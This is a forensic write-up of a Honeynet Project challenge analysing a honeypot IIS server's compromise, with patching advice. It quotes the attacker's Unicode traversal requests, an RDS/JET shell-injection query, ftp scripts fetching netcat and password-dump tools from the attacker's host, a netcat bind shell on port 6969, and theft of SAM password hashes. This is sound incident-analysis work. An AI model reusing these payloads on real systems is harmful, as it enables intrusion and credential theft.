============================= Preamble: The log at a glance ============================= First, fetch and verify the file. #wget http://project.honeynet.org/scans/scan14/snort-0204@0117.log.gz #md5sum snort-0204@0117.log.gz 511e652c8f0d69978ca5048725b0df73 snort-0204@0117.log.gz This matches the checksum given on the web. #gzip -d snort-0204@0117.log.gz A log in libpcap's native (binary) format is like a miracle bag. To reveal the secret and generate an overview, I used nstreams. #nstreams -f snort-0204@0117.log > nstreams.txt After some unrelated NBT traffic and RPC scans it shows http traffic between the honeypot and its presumed attacker, 213.116.251.162. Next, there's a ftp session initiated by the honeypot! This means trouble, so let's backtrack and take a closer look at the previous HTTP-requests. #strings snort-0204@0117.log > strings.txt #egrep -hie '^GET |^POST |^HEAD ' strings.txt URL-encoded unicode characters show up, eg.: GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1 This is the IIS Unicode traversal attack (see also Scan of the Month No.12). Also, there are a lot of requests like this: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Though the underlying query doesn't show up in strings output, this indicates a possible exploitation of the MDAC RDS vulnerability. Again, a closer look is needed. #tcpdump -r snort-0204@0117.log -s 0 -vvv -X -n > tcpdump.txt Tcpdump generates an enormous amount of data, more than 6 MB. While this is quite unhandy, it preserves the order of time. #snort -r snort-0204@0117.log -l scan14 -d Snort slices the log into a lot of (mostly) small files, each representing a tcp session. Think of nstreams.txt as an index into this collection. (snort output not provided) Time spent: about 10 minutes, so far... ============================================================ Question 1: Which exploit(s) were used to attack the system? ============================================================ As said before, two well known vulnerabilities are exploited to attack the honeypot. 1. IIS Unicode Directory Traversal Vulnerability ------------------------------------------------ bugtraq id: 1806 thereafter refered to as UNICODE Exploiting this vulnerability gives the attacker rights of the webserver's account, IUSR_KENNY in this case. The exploit sends four requests per target. The requests don't provide a referer header, but a cookie previously set by the server. According to the user-agent submitted, it's an Internet Explorer: "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)" During the series of requests, the exploit step by step replaces the URL-encoded sequence %C0%AF with the corresponding unencoded unicode characters: 25 43 30 25 41 46 (in hex) turns into c0 af 2e 2e 2f 2e As an example, here's the first request found in the log. Unencoded unicode characters are marked with "X": GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1 GET /guest/default.asp/..XX../.../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1 GET /guest/default.asp/..XX../..XX../..%AF../..%C0%AF../boot.ini HTTP/1.1 GET /guest/default.asp/..XX../..XX../..XX../..XX../boot.ini HTTP/1.1 The exploit writes to a raw socket, circumventing the tcp/ip-stack, as a close inspection with tcpdump shows. Beside the first one, all packets have got bad tcp checksums. All packets acknowledge the receipt of the same segment and have been assigned the same sequence id. The fourth packet should be shorter than the others, but the exploit simply overwrites the buffered data. From tcpdump.txt: 3rd packet: 0x01d0 515a 4b3d 4b50 474e 4649 5041 4b4d 4944 QZK=KPGNFIPAKMID 0x01e0 424f 434a 4e47 4f41 4148 4244 0d0a 0d0a BOCJNGOAAHBD.... 4th packet: 0x01d0 4b4d 4944 424f 434a 4e47 4f41 4148 4244 KMIDBOCJNGOAAHBD 0x01e0 0d0a 0d0a 4e47 4f41 4148 4244 0d0a 0d0a ....NGOAAHBD.... After all, this may be a proof of concept (at an early stage) for a proxy replaying and rewriting requests in order to evade an IDS. "Pudding" by Roelof Temmingh comes into mind. See also RFP's presentation "Why whisker sucks" at http://wiretrip.net/ 2. IIS MDAC RDS Vulnerability + JET Database VBA Vulnerability -------------------------------------------------------------- bugtraq id: 529 and 286 thereafter refered to as RDS Exploiting this vulnerabilitys allows execution of commands on the target host with system level privileges! Looking at tcpdump.txt again, this exploits always follows the same pattern. First, it tries to access the Remote Data Services Server ISAPI Component: GET /msadc/msadcs.dll HTTP/1.0 Because the file exists and the server responds "200 Ok", the exploit tries to pass a malicius SQL query to the Microsoft Access ODBC driver. The query exploits the JET Database VBA Vulnerability, embedding a call to the VBA shell function into a select statement. The query always looks like this: Select * from Customers where City='|shell("cmd /c YOUR_COMMAND_HERE"|' The exploit uses c:\winnt\help\iis\htm\tutorial\btcustmr.mdb as data source. It sends the strings "ACTIVEDATA" as user agent and "!ADM!ROX!YOUR!WORLD!" as boundary delimiter to separate MIME multipart/mixed sections. While the exploit uses an HTTP version 1.0 request for probing, it submits the malicious command by a version 1.1 POST request: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Based on user agent and boundary delimiter strings, the data source file name and location and the sequence of probe and command this is msadc2.pl by RFP, as seen on ftp://ftp.technotronic.com/microsoft/NT/4.0/msadc2.pl Obviously the attacker doesn't use the -R switch, which would prevent the probing to occur on every but the very first request sent. ======================================================================== Question 2: How were the exploits used to access and control the system? ======================================================================== Summary: -------- The attacker uses the UNICODE exploit to copy the command interpreter cmd.exe to a new file named cmd1.exe in the c:\winnt\system32 directory. Then he writes a ftp command script, line by line. Afterwards he runs ftp in script mode using the same exploit. He transfers three files from his host to the honeypot. One turns out to be netcat (nc.exe). Still using the same exploit, he finally uses netcat to set up a shell (cmd1.exe) listening on tcp port 6969. The shell has rights of the webserver's account, IUSR_KENNY. Details: -------- First, the attacker requests the file "boot.ini" using the UNICODE exploit. He succeeds, so the system is vulnerable. From boot.ini he also gains information about the disk layout. The directory holding Windows is named C:\WINNT. About one minute later he probes for the RDS vulnerability: Using his web browser, he requests /msadc/. The servers responds with status 403 - forbidden: the directory is not readable, but it exists. Now he uses the RDS expoit for the first time, attempting to create the file c:\fun: echo werd >> c:\fun Thereafter, he retrieves the file with UNICODE. The attacker now knows, the system is vulnerable to both exploits, UNICODE and RDS. The attacker decides to stay with the RDS exploit. He writes a ftp command script, using "echo" and output redirection, eg.: echo user johna2k > ftpcom Line after line, he creates the following script named "ftpcom": --- ftpcom --- user johna2k hacker2000 get samdump.dll get pdump.exe get nc.exe quit -------------- Still using UNICODE, he runs ftp: ftp -s:ftpcom -n www.nether.net Obviously his account on www.nether.net has been canceld. The server rejects the login attempt, the following commands are failing. The attacker doesn't check if the transfer succeeds, but immediately issues the command pdump.exe >> new.pass and creates a new ftp script: --- ftpcom2 --- user johna2k hacker2000 put new.pass quit --------------- The attacker tries to upload "new.pass". Of course, login fails again. Suddenly the attacker seems to realize what happend to his account on www.nether.net. By accident, he starts a new ftp session to his host: ftp 213.116.251.162 UNICODE doesn't give you an interactive shell, so the ftp session will wait for ever, prompting for a login name. The attacker overwrites "ftpcom", creating the following file: --- ftpcom --- open 213.116.251.162 johna2k hacker2000 get samdump.dll get pdump.exe get nc.exe quit -------------- Now he's trying to fetch the files from his own computer: ftp -s:ftpcom But no ftp connection shows up in tcpdump.txt, so he failed again. On for the attempt: open 212.139.12.26 Now he forgot to redirect the command into a file. Btw, the ip address resolves to freedu-12-26.libertysurf.se, while his own ip resolves to 1Cust162.tnt13.stk3.da.uu.net. Our fellow attacker seems to be located in Denmark or Sweden. Next he creates another ftp script --- sasfile --- johna2k haxedj00 get pdump.exe get samdump.dll get nc.exe quit --------------- and invokes ftp again ftp -s:sasfile Unfortunately, he didn't name the target, neither on the command line nor in the script. Try again: open 213.116.251.162 Oops, again he forgot to redirect the output. Instead of overwriting sasfile, he appends the next bunch of commands. sasfile now looks like: --- sasfile --- johna2k haxedj00 get pdump.exe get samdump.dll get nc.exe quit johna2k haxedj00 get pdump.exe get samdump.dll get nc.exe quit --------------- He runs ftp again, same problem as before: ftp -s:sasfile Frustrated, he chooses to continue with UNICODE. First, he copies the shell "cmd.exe" to "cmd1.exe". According to a posting by Nsfocus Security Team on Bugtraq, this is neccessary to enable output redirection. Finally, he creates a new ftp script, named "ftpcom" again: --- ftpcom --- open 213.116.251.162 johna2k haxedj00 get nc.exe get pdump.exe get samdump.exe quit -------------- and executes ftp: ftp -s:ftpcom This time, the ftp login is successful. The transfered files show up in tcpdump.txt. Based on filesize and embedded strings nc.exe (59392) bytes appears to be netcat. "pdump.exe" is also known as "pwdump2". In conjunction with samdump.dll it tries to attach to the process LSASS and dump the Security Account Manager (SAM) database, which contains password hashes. While the transfer of pdump.exe is still in progress, the blackhat launches netcat: nc -l -p 6969 -e cmd1 This gives a command shell, with access rights of the webserver, listening for the attacker on port 6969/tcp. Only seconds later the attacker connects to the shell. The login greeting is visible in tcpdump.txt and even better in strings.txt: Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\Program Files\Common Files\system\msadc> The attacker now is in control of the target host and starts his journey onward... ================================================= Question 3: What was done once access was gained? ================================================= Summary: -------- Mainly using the interactive shell on port 6969 (and port 6968 later on), attacker #1 (from 213.116.251.162) browses a lot of directories on the honeypot. He creates, modifies and deletes files. This doesn't seriously harm the compromised system or data stored there. He inspects the list of running services. The attacker manages to escalate privileges of the accounts IUSR_KENNY and IWAM_KENNY by promoting them to administrators. IUSR_KENNY is the account the webserver operates under, so this opens a wide security hole. Later he changes the password for IWAM_KENNY. This is the account of the IIS online administration website. Changing the password may interrupt the service and opens a backdoor. The attacker now has knowledge about the name and password of an administrator account. Exploiting the RDISK Registry Enumeration File Vulnerability (bugtraq id 947), the attacker gains read access to the Security Account Manager's database. This file contains password hashes of all accounts. Using L0phtcrack or a similiar programs you may be able to "decrypt" the passwords (in fact you search for passwords leading to identical hash values). The attacker then copies the database into the webserver's document root directory and retrieves it with a simple HTTP request. The attacker may now have knowledge about all accounts and their associated passwords! Finally, attacker #1 binds a new shell to tcp port 6868. Only 96 seconds later somebody connects to this shell from 202.85.60.156 (ip60-156.hksp.net). I assume, this is a second attacker. Both seem to communicate, maybe using IRC. Attacker #2 browses some directories, too. He reads two exploits stored on the honeypot. Then he creates the file "test.txt" in the webservers's document root directory. During the next 15 minutes, this file is accessed from 13 distinct ip addresses, scattered all over the world. This looks like an online tutorial! ================================================= Question 4: How could this attack been prevented? ================================================= UNICODE ------- Microsoft released a patch to fix this vulnerability. See http://www.microsoft.com/technet/security/bulletin/ms00-057.asp and http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp for details. RDS --- Upgrade to MDAC 2.0 or newer. As for the VBA Shell vulnerability, upgrade to JET ODBC driver to version 4.0 or newer or install the fix available at http://officeupdate.microsoft.com/articles/mdac_typ.htm RDISK Registry Enumeration File Vulnerability --------------------------------------------- Microsoft realeased patches to fix this vulnerability. See http://www.microsoft.com/Downloads/release.asp?ReleaseID=17745 (Intel) http://www.microsoft.com/Downloads/release.asp?ReleaseID=17747 (Alpha) http://www.microsoft.com/Downloads/release.asp?ReleaseID=17384 (Terminal Server) Instead of upgrading and patching, you may think about removing and uninstalling any unnecessary (and insecure) components from your computer: - example files, especially scripts and ISAPI DLLs accessible over the web - database drivers - data access components - virtual directories of your webserver Rule of thumb: delete, what you don't need. ===================================================================== Question 5: How much time did you spend on this analysis and writeup? ===================================================================== 15 min for processing the raw logfile as described in the preamble, identifiying the vulnerabilities 7 hrs for an in-depth examination of the output generated by snort and tcpdump 4:15 hrs for summarizing the findings, searching for exploits and advisories and the final writeup (sorry for my english, btw.) Grand total: 11:30 hrs. ====================================================================== Bonus Question: Do you feel that the attacker in question knew if this was a honeypot? If so, why or why not? ====================================================================== At 06:49am the one accessing the system from 213.116.251.162 echoes the following into C:\README.NOW.Hax0r: "Hi, i know that this a is a lab server, but patch the holes! :-)" About half an hour later, at 07:23am, the attacker logged in from 202.85.60.156 leaves a note for Rain Forest Puppy in C:\rfp.txt: "best honeypot i've seen till now :)" So, the attacker(s) knew this was a honeypot. Please note: all timestamps given are based on the IDS's clock.